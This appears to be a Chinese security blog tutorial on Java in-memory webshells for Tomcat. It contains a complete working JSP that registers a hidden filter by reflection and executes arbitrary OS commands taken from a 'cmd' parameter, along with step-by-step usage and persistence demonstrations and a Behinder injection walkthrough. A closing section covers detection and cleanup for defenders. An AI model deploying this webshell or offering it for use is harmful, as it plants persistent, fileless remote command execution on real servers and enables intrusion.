内存马基础知识

什么是Java内存马

本文以Java内存马这一主流为样本进行分析,市面上主流利用和研究对象依旧是Java内存马,当然也存在其他语言类型内存马,但是出现和利用次数微乎其微。

我们在学习Java的时候都学习过路由的相关知识,顾名思义内存马就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码,其运行时主要在内存中执行,无本地落地文件或者运行后将自身删除并存在内存中,存在与内存中,与一般的木马相比 隐藏性极高且通过动态添加恶意组件,如servlet、filter、listener等,或者利用Java的instrument机制动态注入agent,在Java内存中动态修改字节码,实现根据请求的参数执行任意代码。

PS:本篇文章只是简单介绍一下Java内存马的相关知识和简单使用以及日常攻防中的检测,细致分析请看后面的文章:Java内存马(一)(二)(三)

Java内存马特点

  • 无文件落地:与传统webshell不同,Java内存马不依赖于磁盘上的文件,因此更难被安全设备检测到
  • 隐蔽性强:由于内存马存在于内存中,不留下任何文件痕迹,使得其隐蔽性极高
  • 动态注入:Java内存马可以通过动态注册新的组件或修改字节码的方式,实现恶意代码的注入和执行

Java内存马类型

Servlet-API型

通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马。

  1. filter型
  2. servlet型

字节码增强型

通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

sping类

  1. 拦截器
  2. Controller型

Java三大组件

关于三大组件相比大家都已经不陌生,在Java Web中有三大组件分别是Servlet, Filter,Listener。

Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

Filter

Filter译为过滤器。过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。

Listener

监听器用于监听Web应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。

写入内存马的方式

fastjson RCE
Shiro RCE
文件上传
webshell
.....

动态插入filter内存马

搭建Java环境

这里直接用现成的tomcat即可,或者随便拿个用tomcat的项目就行

windows下直接执行startup.bat后访问http://localhost:8080查看页面是否正常

Java内存马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>

<!-- tomcat 8/9 -->
<page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" >



<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>


<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../abcd?cmd=calc -->

<%
    class DefaultFilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }
        public void destroy() {}

    }
%>


<%
    String name = "DefaultFilter";
    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    if (filterConfigs.get(name) == null){
        DefaultFilter filter = new DefaultFilter();
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);
        FilterMap filterMap = new FilterMap();
        // filterMap.addURLPattern("/*");
        filterMap.addURLPattern("/abcd");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(name, filterConfig);
        out.write("Inject success!");
    }
    else{
        out.write("Injected");
    }
%>

关键代码及使用

如何使用

<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../abcd?cmd=calc -->

上传jsp马

实战上传的方式就太多了,rce、文件上传等等灵活发挥,这里演示我就直接放到目录下面了

步骤为:

上传jsp马
执行jsp文件
连接jsp马并且进行操作

执行jsp马

直接执行shell.jsp,访问路径http://localhost:8080/examples/shell.jsp可以看到显示Inject success! 说明已经注入成功了

连接jsp马

代码里面定义了连接的路径和执行的方式

http://localhost:8080/examples/abcd?cmd=

测试一下,功能正常

测试

注入成功后,我们将jsp马删掉

再执行一下看是否执行成功,可以看到依旧执行成功

冰蝎写内存马

前置条件

写入shell

实现

冰蝎从3.0开始已经支持注入内存马的功能

环境依旧是上文中的tomcat,前期已经写入shell

来利用这个shell一键注入内存马

注入的路径如下:examples/memshell

注入以后会自动生成路径,http://192.168.1.3:8080/examples/memshell

测试一下功能正常

删除jsp马

把前面shell删除掉

测试内存马是否存活,内存马可正常使用

Java内存马检测与处置

检测

日志分析

正常执行shell后,例如我们上方执行的ipconfig,我们通过日志分析,可以看到相关的日志,其日志文件的格式为:

localhost_access_log.2024-06-29.txt

实战中日志不会只有这么一点,所以要从各类安全设备以及痕迹中找到关键字段配合日志进行分析

内存分析

由于内存马是以内存的形式存在的,所以其没有落地文件,是无法通过文件检测查找的,但是可以通过内存的方式查找。

1、分析执行的命令

还是以之前那个cmd=ipconfig作为例子

直接使用processhacker来分析一下内存

内存里面的数据比较多,我们直接保存为txt,可以看到51万多行,然后过滤ipconfig,来看一下最终的结果:

通过内存是可以分析的,其数据是写入到内存中的,所以可以通过分析内存来分析其是否存在相关的木马。

2、分析jsp文件

由于在写内存马时前期会注入一个shell.jsp的文件,并且该文件注入成功以后本地就不需要,一般都不会将该文件放到web服务器中,主要是防止被安全分析人员发现,这个时候我们可以对比分析本地的jsp文件和内存中jsp文件是否一致,从而来判断是否存在内存马,但是这种方式只是在实验的环境中使用,没有在实战中使用,该方法的z`可行性有待于实战检测。

3、内存中的Filter检测

这种人为的检测是通过对内存中的Filter进行逐一的拆分检测,由于攻击者会对内存马进行混淆,其检测难度非常高。

4、监控中间件

对Java中间件进行Hook或代理,把相关流量经过Agent转发,再对其中的shellcode进行检测,或者类似于HIDS那种对操作行为进行检测。

处置

1、重启进程

这个是最简单有效的方法,就是重启进程。

重启之后,页面可以正常打开,但是内存马无法执行

2、清除恶意Filter

优秀内存马检测实践

1.《杂谈Java内存Webshell的攻与防》
https://zhuanlan.zhihu.com/p/227862004

2.《基于内存 Webshell 的无文件攻击技术研究》
https://www.anquanke.com/post/id/198886

3.《JSP Webshell那些事——攻击篇(下)》
https://www.anquanke.com/post/id/214483#h3-13

4.《tomcat 结合shiro 无文件webshell 的技术研究以及检测方法》
https://paper.seebug.org/1233/

5.《【原创】利用“进程注入”实现无文件不死webshell》
https://www.cnblogs.com/rebeyond/p/9686213.html

6.《Tomcat容器攻防笔记之Valve内存马出世》
https://www.anquanke.com/post/id/225870

7.《基于javaAgent内存马检测查杀指南》
https://mp.weixin.qq.com/s/Whta6akjaZamc3nOY1Tvxg

8.《中间件内存马注入&冰蝎连接》
https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g

9.《Tomcat 基于 Servlet 的无文件 webshell 的相关技术研究》
https://paper.seebug.org/1254/

10.《Tomcat 内存马检测》
https://www.anquanke.com/post/id/219177

11.《JBOSS 无文件 webshell 的技术研究》
https://paper.seebug.org/1252/

12.《weblogic 无文件 webshell 的技术研究》
https://paper.seebug.org/1249/